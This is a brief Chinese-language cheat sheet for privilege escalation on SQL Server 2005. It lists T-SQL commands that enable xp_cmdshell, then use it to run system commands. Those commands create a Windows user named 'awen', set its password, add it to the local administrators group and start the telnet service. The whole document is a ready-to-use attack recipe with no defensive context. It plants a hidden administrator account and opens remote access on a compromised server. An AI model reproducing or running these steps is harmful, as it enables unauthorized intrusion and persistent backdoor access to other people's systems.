SQL SERVER2005 提权

–打开xp_cmdshell
exec sp_configure 'show advanced options', 1;

RECONFIGURE;

EXEC  sp_configure 'xp_cmdshell', 1;

RECONFIGURE;

use master;
xp_cmdshell 'dir c:';
go

–添加windows用户:
xp_cmdshell 'net user awen /add';

–设置好密码:
xp_cmdshell 'net user awen password';

–提升到管理员:
xp_cmdshell 'net localgroup administrators awen /add';

–开启telnet服务:
xp_cmdshell 'net start tlntsvr'